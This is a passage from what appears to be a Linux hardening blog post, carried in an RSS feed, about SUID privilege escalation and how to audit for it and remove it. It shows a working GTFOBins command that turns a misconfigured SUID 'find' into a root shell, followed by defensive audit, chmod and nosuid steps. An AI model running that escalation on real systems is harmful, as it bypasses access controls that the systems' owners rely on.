&lt;p&gt;The output returns a list of all SUID binaries on the machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usr/bin/mount
/usr/bin/umount
/usr/bin/su
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find     &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;-- CRITICAL MISCONFIGURATION DETECTED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Seeing &lt;code&gt;/usr/bin/find&lt;/code&gt; on this list is an immediate red flag.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Spawning Root with GTFOBins
&lt;/h3&gt;

&lt;p&gt;In cybersecurity, &lt;strong&gt;GTFOBins&lt;/strong&gt; is a curated catalog showing how standard Unix binaries can be bypassed to escape restricted shells or escalate privileges.&lt;/p&gt;

&lt;p&gt;Many standard utilities have built-in execution flags. When the binary runs with the SUID bit as root, whatever process it spawns runs with root authority.&lt;/p&gt;

&lt;p&gt;Because &lt;code&gt;find&lt;/code&gt; has an &lt;code&gt;-exec&lt;/code&gt; parameter, an attacker can spawn an unrestricted shell in one command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ whoami
student

$ /usr/bin/find . -exec /bin/sh -p \&lt;span class="o"&gt;;&lt;/span&gt; -quit

&lt;span class="c"&gt;# whoami&lt;/span&gt;
root

&lt;span class="c"&gt;# id&lt;/span&gt;
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;student&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;student&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;euid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;student&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;-p&lt;/code&gt; flag tells &lt;code&gt;/bin/sh&lt;/code&gt; to preserve effective user privileges (&lt;code&gt;euid=0&lt;/code&gt;). The user is now root. They can alter system files, create new administrative accounts, or dump credentials.&lt;/p&gt;




&lt;h3&gt;
  
  
  5. How Sysadmins Audit and Fix SUID Flaws
&lt;/h3&gt;

&lt;p&gt;Securing your systems against SUID escalation requires three basic defensive practices:&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 1: Run Weekly Audits
&lt;/h4&gt;

&lt;p&gt;Run this audit command to inventory all SUID files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ sudo find / -perm -4000 -type f -exec ls -la &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt; + 2&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you see text editors (&lt;code&gt;vim&lt;/code&gt;, &lt;code&gt;nano&lt;/code&gt;), scripting interpreters (&lt;code&gt;python&lt;/code&gt;, &lt;code&gt;bash&lt;/code&gt;, &lt;code&gt;perl&lt;/code&gt;, &lt;code&gt;awk&lt;/code&gt;), or utilities (&lt;code&gt;find&lt;/code&gt;, &lt;code&gt;cp&lt;/code&gt;, &lt;code&gt;tar&lt;/code&gt;, &lt;code&gt;nmap&lt;/code&gt;), investigate immediately.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 2: Strip the SUID Bit
&lt;/h4&gt;

&lt;p&gt;To remove the SUID bit from a misconfigured binary, run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ sudo chmod u-s /usr/bin/find
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify that the permissions return to standard &lt;code&gt;-rwxr-xr-x&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ ls -l /usr/bin/find
-rwxr-xr-x 1 root root 320160 /usr/bin/find
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 3: Mount Temporary Partitions with nosuid
&lt;/h4&gt;

&lt;p&gt;Attackers frequently drop and compile custom SUID binaries inside world-writable directories like &lt;code&gt;/tmp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Add the &lt;code&gt;nosuid&lt;/code&gt; option to &lt;code&gt;/etc/fstab&lt;/code&gt; for temporary filesystems:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tmpfs   /tmp        tmpfs   defaults,noexec,nosuid,nodev   0  0
tmpfs   /var/tmp    tmpfs   defaults,noexec,nosuid,nodev   0  0
tmpfs   /dev/shm    tmpfs   defaults,noexec,nosuid,nodev   0  0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a partition is mounted with &lt;code&gt;nosuid&lt;/code&gt;, the Linux kernel ignores the SUID bit entirely, blocking this attack vector at the kernel level.&lt;/p&gt;




&lt;h3&gt;
  
  
  Source &amp;amp; Further Reading
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;🔗 &lt;strong&gt;Original Article &amp;amp; Interactive Cheatsheet:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
This tutorial is part of the Linux Hardening series on &lt;strong&gt;LinuxPedia&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
You can read the full interactive post with copyable shell snippets here:&lt;br&gt;&lt;br&gt;
&lt;strong&gt;&lt;a href="https://pedialinux.github.io/linuxpedia/linux-privilege-escalation-suid.html" rel="noopener noreferrer"&gt;Linux Privilege Escalation: SUID Binaries Explained (LinuxPedia)&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Related Guides on LinuxPedia:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pedialinux.github.io/linuxpedia/linux-server-hardening.html" rel="noopener noreferrer"&gt;5 Essential Steps to Harden a Linux Server in Production&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pedialinux.github.io/linuxpedia/linux-ssh-bruteforce-fail2ban.html" rel="noopener noreferrer"&gt;SSH Brute-Force Attacks Explained: How Fail2ban Jails Hackers&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Community Question:&lt;/strong&gt; Have you ever caught an unexpected SUID binary during an internal server audit? What tool was it? Let's discuss in the comments!&lt;/p&gt;

</description>
      <category>linux</category>
      <category>sysadmin</category>
      <category>security</category>
      <category>devops</category>
    </item>
  </channel>
</rss>
